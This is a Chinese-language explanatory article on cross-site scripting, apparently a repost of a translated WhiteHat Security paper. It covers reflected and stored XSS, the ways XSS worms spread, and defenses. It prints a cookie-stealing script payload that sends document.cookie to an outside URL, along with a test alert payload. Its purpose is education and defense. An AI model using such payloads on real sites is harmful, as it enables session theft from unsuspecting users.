XSS 的概述

2018-02-07 15:15:47 7157

.非持久型 XSS (也叫反射型 XSS)

想想看,一个黑客想使用“http://www.landui.com/”网站对用户进行 XSS 攻击。黑客会采取的第一个步骤是在 http://www.landui.com/

找出一个 XSS 漏洞,然后构造一个特制的 URL,也被称为链接。要做到这一点,黑客会搜寻网站上的客户端提供的数

据可以被发送到 Web 服务器,然后回显到屏幕上的任何功能,比如搜索框。

图一展现的是一种常见的在线发布的博客。XSS 漏洞往往出现在搜索框表单。在搜索字段中输入“test search”,

响应页面将用户输入的文本在显示在三个不同的位置,如图 2 所示。图下方是新的 URL。查询字符串中包含值为

test+search”的“search”参数。这个 URL 值可以在运行时更改,甚至包括 HTML / JavaScript 的内容。
image.png

         图 1http://www.landui.com/
image.png

   图 2http://www.landui.com/search.pl?search=test+search
image.png

                          3 

3 展示了原来的搜索词被替换为下面的 HTML / JavaScript 代码时会发生什么:

  Example 1.
”><SCRIPT>alert(‘XSS%20Testing’)</SCRIPT>

结果页面弹出了一个无害的警告对话框。根据提示,提交的代码已经成为 web 页面的一部分,证明了 JavaScript

已进入到 http://www.landui.com/的上下文并得到执行。

4 展示了夹杂有新的 HTML/ JavaScript 代码的 Web 页面的 HTML 源代

image.png

此时,黑客将会继续修改这个 URL,包含更复杂的 XSS 攻击来利用用户。一个典型的例子是一个简单的 cookie

窃的攻击。

Example 2.
“><SCRIPT>var+img=new+Image();img.src=”http://www.landui.com /”%20+%20document.cookie;</SCRIPT>

前面的 JavaScript 代码创建一个图像 DOM(文档对象模型)对象。

var img=new Image();

因为 JavaScript 代码在“http://www.landui.com/”上下文中执行,所以它可以访问 cookie 数据。

document.cookie;

图形对象然后指派一个外域的 URL 发送带有 Web 浏览器的 Cookie 字符串的数据到“http://www.landui.com/”。

img.src=”http://www.landui.com /” + document.cookie;

下面是一个例子,是一个被发送的 HTTP 请求。

Example 3.
GET http://www.landui.com/path/_web_browser_cookie_data HTTP/1.1
Host: host
User-Agent: Firefox/1.5.0.1
Content-length: 0

一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接,

试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件 7 中的链接是因为这个 URL

含了真正的网站域名,而不是一种外观相似的域名或随机的 IP 地址。应当注意的是,过长的 XSS 链接可以使用 URL

缩短服务,如 TinyURL.com 进行伪装。

.持久型 XSS (也叫存储型 XSS)

持久型(或 HTML 注入型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来

执行。黑客仅仅需要提交 XSS 漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户

评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。

这使得持续性的 XSS 的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利

用代码,他将宣传受感染页面的 URL 来希望不知情的用户中招。即使用户对非持续性 XSS URL 懂得识别,也会很

容易的受到影响(译者:中招)

无论使用非持续性或持续性的 XSS 漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法。

从这点出发,我们将专注于的 XSS 病毒和蠕虫的攻击技术。欲了解更多 XSS 信息,请访问“跨站脚本常见问题

解答 8”和“XSS 小抄 9 ,两个优秀的信息资源。

他们是怎么做的:传播的方法

对于一个病毒或蠕虫想要成功,它需要一个执行和传播的方法。电子邮件病毒通常在鼠标点击后执行,然后通过

您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他

存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造 DDoS 僵尸网络,垃圾邮件僵尸,或远

程键盘监控的能力。XSS 蠕虫与其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶

意代码,XSS 蠕虫和病毒通过控制 Web 浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播。例

如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论。XSS 蠕虫病毒可能会使

得浏览器进行发送电子邮件,转账,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。

用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。

在最后一节中,我们将重点放在 XSS 漏洞本身,以及用户可以怎么样被利用。现在,我们来看 XSS 恶意软件是如

何可以进行远程通信。XSS 漏洞利用代码,通常是 HTML / JavaScript,使用三种方式使得浏览器发送远程 HTTP 请求的

浏览器:嵌入式的 HTML 标签,JavaScript DOM 的对象,XMLHTTPRequestXHR)。

另外,请记住,如果你碰巧登录到远程网站,您的浏览器是被迫作出的身份验证的请求的。关于 XSS 恶意软件的

传播方法与传统互联网病毒的明显差异将会进行简要说明。

 嵌入式 HTML 标签

一些 HTML 标签具有在页面加载时会自动发起 Web 浏览器的 HTTP 请求的属性。有一个例子是 IMG(图像)的

SRC 属性。SRC 属性用于指定在 Web 页面中显示的图像文件的 URL 地址。当你的浏览器载入带有 IMG 标签的网页,

图像会自动被请求,并在浏览器中显示。但是,SRC 属性也可以被用于任何 Web 服务器的其他 URL,不仅仅是包含图

像的。

例如,如果我们进行了谷歌搜索“WhiteHat Security”我们最终得到了下面的 URL

http://www.landui.com/search?hl=en&q=whitehat+security&btnG=Google+Search

这个 URL 可以很容易地取代 IMG 内的 SRC 属性的值,从而迫使您的 Web 浏览器中执行相同的谷歌搜索。

<img src=”http://www.landui.com/search?hl=en&q=whitehat+security&btnG=Google+ Search”>

显然使得 Web 浏览器发送一个谷歌搜索请求是没有什么危害性的。然而,URL 构建的同样的过程可以用来使得

Web 浏览器自动进行银行账户资金的汇款,发表煽动性言论,甚至入侵网站。这一点可以说明,这是一个迫使一个

Web 浏览器连接到其他网站,使的 XSS 蠕虫病毒传播的机制。

额外的源码例子可见“嵌入式 HTML 标签”的附录部分。

 JavaScript 和文档对象模型

JavaScript 被用于给网站访问者一个丰富的、交互式的体验。这些网页更接近于一个软件应用程序,而不是一个

静态的 HTML 文档。我们常会看到 JavaScript 被用于进行图像的翻转,动态表单输入检查,弹出对话框,下拉菜单,

拖动和拖放等。JavaScript 有接近完全的对网站上的每一个对象,包括图像,cookies,窗口,框架和文本内容的访问。

这些对象中的每一个都是文档对象模型(DOM)的一部分。

DOM 提供了一系列 JavaScript 读取和操作的应用程序编程接口(API)。类似嵌入式 HTML 标签的功能,JavaScript

可以操纵 DOM 对象自动发起 Web 浏览器的 HTTP 请求。图像和窗口的源 URL 可以被重新指定为其他 URL 的。

在上一节中,我们可以使用 JavaScript 来改变图像的 DOM 对象 SRC 进行谷歌搜索“WhiteHat Security”。

img[0].src = http://www.landui.com/search?hl=en&q=whitehat+security&btnG=Google+ Search;

正如上一节中,迫使 Web 浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了 XSS

恶意软件传播的另一种方法。

额外的源码例子可见“JavaScript DOM 对象”的附录部分。

 XmlHttpRequest (XHR)

.最好的防御

在过去超过十年的时间里,反病毒界一直依赖于快速的反应时间来限制蠕虫和病毒所造成的损害。随着新一代

的恶意软件的飞速发展,在事件被稳定前,可能会损失数百万,甚至数十亿美元。这种情况要求我们将采取步骤,

确定疫情的发生和防止问题的发生放在第一位。以下是为了限制这些新品种的病毒和蠕虫的影响而为用户,开发人

员,安全专家和浏览器厂商提供的明确的步骤:

用户

1 点击链接发送电子邮件或即时消息时一定要谨慎。可疑的过长链接,尤其是那些看起来像是包含 HTML 代码

的链接。如果有疑问,手动输入网址到您的浏览器地址栏进行访问。

2 对于 XSS 漏洞,没有网络浏览器有一个明显的安全优势。话虽如此,但作者喜欢 Firefox 浏览器。为了获得

额外的安全性,可以考虑安装一些浏览器插件,如 NoScript25Firefox 扩展插件)或 Netcraft 工具栏 26

3 虽然不是 100%有效,但是避开可疑网站,如那些提供黑客自动化工具,warez,或色情的网站是明智的。

开发者

1. 对于开发人员来说,首先需要注意的是应该对所有用户提交的内容执行坚如磐石输入验证。这包括网址,查

询字符串,headerPOST 数据等所有用户提交的内容。只接受您所希望的字符,在您指定的长度内,和指定

的相应的数据的格式。组织,过滤,或忽略一切。

2. 保护被自动执行或来自第三方网站执行的所有敏感功能。在适当的情况使用会话令牌 27、验证码 28系统或者

HTTP 引用头检查。

3. 如果您的网站必须支持用户提供的 HTML,那么你是处在一个安全明智的下滑坡。然而,也有一些事情可以

做,来保护您的网站。请确保您收到的 HTML 内容是良好的,只包含最少的一组安全标签(绝对没有 JavaScript),

没有包含任何引用远程的内容(尤其是样式表和 JavaScript)。而且,为了多一点的安全性,请将 httpOnly29

加到您的 cookie

安全专家

1. 只有一种方法才能确定您的安全做法提供了足够的保障,那就是经常测试他们。在黑客攻击网站前了解你的

漏洞是是至关重要的。要做到这一点,网站的脆弱性评估是要进行的。报告应提供一个对您的网站的安全的

全面的审视,并描述他们如何应对和进行模拟攻击。WhiteHat Security 提供了一个以 Web 安全威胁分类(WASC

为测试标准的自动化的漏洞扫描与专家驱动分析的组合方法。

2. 正确地评估一个网站的安全性可能需要几十个,数以百计,数以千计的安全测试。许多需要手工完成。这就

是为什么 WhiteHat Sentinel 在这样的服务的过程中是一个重要组成部分。源代码和黑盒子扫描产品可以减

少人员在开发阶段中测试 Web 应用程序的时间。

3. 当您的网站绝对没有任何问题了,考虑 Web 应用防火墙(WAF)作为一个额外的防御层。它们可以用来配置

用您的网站的规则并强有力的执行。任何超出规则外的行为将被阻止或者记录。由于这些设备大多是高度多

样化和复杂,可以考虑使用 Web 应用防火墙评价标准(WAFEC)作为比较的工具。

浏览器厂商

1. Mozilla(火狐),微软和 Opera 开发团队必须开始正式实施内容限制。现实的情况是,等待 Web 应用软件减

XSS 漏洞的任何一种方法都是是不现实的,更不用说减少了 100%。

2. Mozilla(Firefox)开发者,请执行 httpOnly,它已经出现这么多年了。



提交成功!非常感谢您的反馈,我们会继续努力做到更好!

这条文档是否有帮助解决问题?

非常抱歉未能帮助到您。为了给您提供更好的服务,我们很需要您进一步的反馈信息:

在文档使用中是否遇到以下问题: